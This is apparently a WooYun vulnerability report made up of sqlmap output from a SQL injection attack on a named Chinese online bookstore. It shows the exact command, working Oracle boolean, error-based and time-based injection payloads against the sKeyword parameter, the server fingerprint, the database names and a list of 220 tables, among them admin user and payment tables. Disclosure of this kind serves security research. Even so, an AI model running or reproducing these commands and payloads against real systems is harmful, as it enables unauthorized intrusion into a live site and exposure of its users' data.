WooYun.org

C:\Users\-wjk\Desktop\sqlmap-master>python sqlmap.py -u "http://www.sinobook.com.cn/b2c/scrp/bookzx.cfm?sKeyword=300&sFieldName=pno" -p sKeyword -D SBKDBO --tables

available databases [9]:
[*] APEX_030200
[*] CTXSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] SBKDBO
[*] SYS
[*] SYSTEM
[*] XDB
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sKeyword (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sKeyword=300 AND 5324=5324&sFieldName=pno
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: sKeyword=300 AND 2513=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (2513=2513) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(98)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)&sFieldName=pno
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: sKeyword=300 AND 9795=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)&sFieldName=pno
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: Oracle
current schema (equivalent to database on Oracle): 'SBKDBO'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sKeyword (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sKeyword=300 AND 5324=5324&sFieldName=pno
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: sKeyword=300 AND 2513=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (2513=2513) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(98)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)&sFieldName=pno
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: sKeyword=300 AND 9795=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)&sFieldName=pno
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: Oracle
Database: SBKDBO
[220 tables]
+-------------------------+
| PARAMETER |
| SECTION |
| ADMINRIGHT |
| ADMINUSER |
| ADMINUSERMENU |
| ADMINUSERRIGHT |
| AGENTNEWS |
| AGENTNEWS_BK |
| ALLCBLM |
| ALLCBWH |
| ANSWER |
| APABIBOOK |
| ASALOG |
| ASALOGMX |
| ASALOGMX_BAK |
| ASALOG_BAK0512 |
| ASAOBJ |
| BC2BOOK |
| BCLASS |
| BOCLASS |
| BOOK |
| BOOK2TYPE |
| BOOK2TYPEG |
| BOOK2TYPEH |
| BOOKB2TYPE |
| BOOKBTYPE |
| BOOKCASE |
| BOOKD |
| BOOKECG |
| BOOKECGTYPE |
| BOOKGOL |
| BOOKMODU |
| BOOKMODU_BAK |
| BOOKNEWS |
| BOOKNEWS_BK |
| BOOKOTYPE |
| BOOKREVIEW |
| BOOKREVIEWCONTENT |
| BOOKSRELA |
| BOOKTEMP |
| BOOKTMP |
| BOOKUSEWAY |
| BOOK_111202 |
| BOOK_111206 |
| BOOK_20060703 |
| BOOK_5609 |
| BOOK_81525_20040930 |
| BOOK_82089DEL |
| BOOK_BAK20050606 |
| BOOK_BAK20050606_2 |
| BOOK_BAK_PNO82196 |
| BOOK_DEL_PNO5629 |
| BOOK_DEL_PNO81530 |
| BOOK_GAOJIAO_20040610 |
| BOOK_GJ |
| BOOK_KX |
| CBOOK |
| COUNTRY |
| DBOOK |
| DCLASS |
| DEALER |
| DEALERMENU |
| DEALERNEWS |
| DEALERSYSUSERMENU |
| DEALERUSER |
| DEALERUSERMENU |
| DEL_BOOK_81030 |
| DEL_BOOK_81063 |
| DIQUS |
| DISCUSS |
| DISCUSSCONTENT |
| DISCUSSTOPIC |
| DISCUSSUSER |
| EDUPCLASS |
| ESBOOK |
| FACE |
| FORMATYPE |
| FORUM |
| FORUMA |
| FORUMACLASS |
| FORUMCLASS |
| FORUMCONTENT |
| FORUMD |
| FORUMDCLASS |
| FORUMP |
| FORUMPCLASS |
| FORUMUSER |
| GCLASS |
| GGSZ |
| GUIDENEWS |
| HCLASS |
| JDAGENTNEWS |
| JDBOOK |
| JDBOOKNEWS |
| JDDEALERNEWS |
| JDGUIDENEWS |
| JDMAINNEWS |
| JDNEWS |
| JDNEWS_BAK |
| JDORDERNEWS |
| JDPRESSNEWS |
| JDREVIEWNEWS |
| LBOOK |
| LINKS |
| MAILIST |
| MAILISTDETAIL |
| MAILISTNAME |
| MAILISTRECORD |
| MAILISTUSER |
| MAINBOOK |
| MAINNEWS |
| MBOOK |
| MEMBER |
| MENU |
| MPCLASS |
| MSG |
| MSGDEAL |
| MSGDEALFLOW |
| MSGOPERATOR |
| MSGTYPE |
| MSGUSER |
| MYTZ |
| NETPAYREC |
| NEWREFERCE |
| NEWS |
| NEWSDETAIL |
| NEWSNAME |
| NEWSORDER |
| NEWSUSER |
| ORDERBOOK |
| ORDERCRECORD |
| ORDERDEAL |
| ORDERDEALC |
| ORDERDETAIL |
| ORDERDETAILC |
| ORDERDETAIL_BAK_040531 |
| ORDERMAIN |
| ORDERMAINC |
| ORDERMAIN_BAK_040531 |
| ORDERNEWS |
| PACKTYPE |
| PAGESHOW |
| PART |
| PARTMENU |
| PARTUSER |
| PARTUSERMENU |
| PAYLIST |
| PAYLOST |
| PAYMENTDEAL |
| PAYMENTUSER |
| PAYSTATE |
| PAYWAY |
| PAYWAYR |
| PAYWAYSYS |
| PAY_METHODS |
| PAY_TRANSWAY |
| PBCLASS |
| PBOOK |
| PCLASS |
| PCLASSA |
| PDEALER |
| PRESS |
| PRESSA |
| PRESSA_050128 |
| PRESSA_BAK20060330 |
| PRESSD |
| PRESSMENU |
| PRESSNEWS |
| PRESSORDER |
| PRESSSYSUSERMENU |
| PRESSUSER |
| PRESSUSERA |
| PRESSUSERMENU |
| PRESS_NBK |
| PRODUCTYPE |
| PROVIDER |
| PROVIDERUSER |
| PROVINCE |
| PRVBOOK |
| QUESTION |
| RBOOK |
| READER |
| RECEIVER |
| REVIEWNEWS |
| SALES_PAYMENT |
| SALES_PAYMENT_BAK |
| SALES_PAYMENT_BAK041031 |
| SALES_PAYMENT_DEL |
| SBOOK |
| SECTIONA |
| SECTIONB |
| SECTIOND |
| SECTIONG |
| SECTIONMSG |
| SECTIONO |
| SECTIONP |
| SECTIONR |
| SECTIONS |
| SENDFILE |
| SENDFILEUSER |
| SINOWZLX |
| SPECIAL |
| SYSMENU |
| SYSTRANSWAY |
| SYSUSERINFO |
| SYSUSERMENU |
| TEXTBOOK |
| TEXTBOOKCLS |
| TEXTBOOK_DEL_PNO81530 |
| TMP_BOOKECG |
| TMP_BOOKGOL |
| TMP_PRESS |
| TMP_PRESSUSER |
| TMP_USER2MENU |
| TRANSWAY |
| TRANWAYR |
| USER2MENU |
| WRITER |
| YONGTU |
| YXDZPCLASS |
+-------------------------+